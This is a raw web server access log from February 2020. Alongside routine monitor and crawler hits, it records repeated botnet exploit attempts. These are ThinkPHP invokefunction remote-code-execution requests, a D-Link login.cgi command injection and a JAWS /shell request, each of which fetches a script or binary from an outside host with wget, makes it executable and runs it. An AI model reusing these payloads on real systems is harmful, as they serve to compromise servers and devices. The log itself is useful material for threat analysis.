212.91.246.72 - - [06/Feb/2020:08:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.77.159.221 - - [06/Feb/2020:08:51:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 314 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.48.176 - - [06/Feb/2020:08:52:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.142.30 - - [06/Feb/2020:08:53:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.71.118 - - [06/Feb/2020:08:54:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.92 - - [06/Feb/2020:08:57:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.32.140.239 - - [06/Feb/2020:08:58:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [06/Feb/2020:08:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.190.107 - - [06/Feb/2020:09:00:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.88.102 - - [06/Feb/2020:09:01:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.64 - - [06/Feb/2020:09:02:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.102.56.151 - - [06/Feb/2020:09:03:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
94.102.56.151 - - [06/Feb/2020:09:03:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [06/Feb/2020:09:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.102.56.151 - - [06/Feb/2020:09:03:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
176.163.131.89 - - [06/Feb/2020:09:04:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.102.56.151 - - [06/Feb/2020:09:04:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [06/Feb/2020:09:04:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.102.56.151 - - [06/Feb/2020:09:05:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
94.102.56.151 - - [06/Feb/2020:09:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [06/Feb/2020:09:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.109.56.26 - - [06/Feb/2020:09:05:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.11 - - [06/Feb/2020:09:07:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.246.221 - - [06/Feb/2020:09:09:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
132.232.94.184 - - [06/Feb/2020:09:09:40 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [06/Feb/2020:09:09:40 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [06/Feb/2020:09:09:41 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [06/Feb/2020:09:09:41 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [06/Feb/2020:09:09:42 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [06/Feb/2020:09:09:43 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [06/Feb/2020:09:09:44 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [06/Feb/2020:09:09:44 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [06/Feb/2020:09:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.68.254.193 - - [06/Feb/2020:09:09:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.102.203.119 - - [06/Feb/2020:09:11:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:09:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.203.193.47 - - [06/Feb/2020:09:12:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.43.169.182 - - [06/Feb/2020:09:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0"
94.102.56.151 - - [06/Feb/2020:09:15:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [06/Feb/2020:09:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.102.56.151 - - [06/Feb/2020:09:17:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
94.102.56.151 - - [06/Feb/2020:09:17:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [06/Feb/2020:09:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.188.183.85 - - [06/Feb/2020:09:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
183.80.122.155 - - [06/Feb/2020:09:19:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.71.81 - - [06/Feb/2020:09:23:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.133.96.49 - - [06/Feb/2020:09:24:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:09:24:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:26:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.23.189 - - [06/Feb/2020:09:28:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.190.96.241 - - [06/Feb/2020:09:28:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:09:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [06/Feb/2020:09:32:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [06/Feb/2020:09:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.155.136 - - [06/Feb/2020:09:33:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:36:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.153.50 - - [06/Feb/2020:09:37:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [06/Feb/2020:09:41:40 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [06/Feb/2020:09:41:57 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [06/Feb/2020:09:42:00 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
112.72.79.3 - - [06/Feb/2020:09:42:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.226 - - [06/Feb/2020:09:42:12 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [06/Feb/2020:09:42:15 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [06/Feb/2020:09:42:21 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [06/Feb/2020:09:42:23 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [06/Feb/2020:09:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [06/Feb/2020:09:42:37 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [06/Feb/2020:09:42:50 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [06/Feb/2020:09:43:17 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [06/Feb/2020:09:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.254.236.33 - - [06/Feb/2020:09:43:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
223.197.203.28 - - [06/Feb/2020:09:44:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:09:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.165.237.136 - - [06/Feb/2020:09:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [06/Feb/2020:09:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.97.109 - - [06/Feb/2020:09:50:02 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [06/Feb/2020:09:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.241.10 - - [06/Feb/2020:09:51:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.165.8.152 - - [06/Feb/2020:09:53:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.153.44 - - [06/Feb/2020:09:55:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.193.246.155 - - [06/Feb/2020:09:55:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
1.53.132.161 - - [06/Feb/2020:09:55:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:09:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.6.40.66 - - [06/Feb/2020:09:56:35 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
175.6.40.66 - - [06/Feb/2020:09:56:35 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
175.6.40.66 - - [06/Feb/2020:09:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
42.112.162.147 - - [06/Feb/2020:09:56:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:09:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.184.199.111 - - [06/Feb/2020:09:58:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:09:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
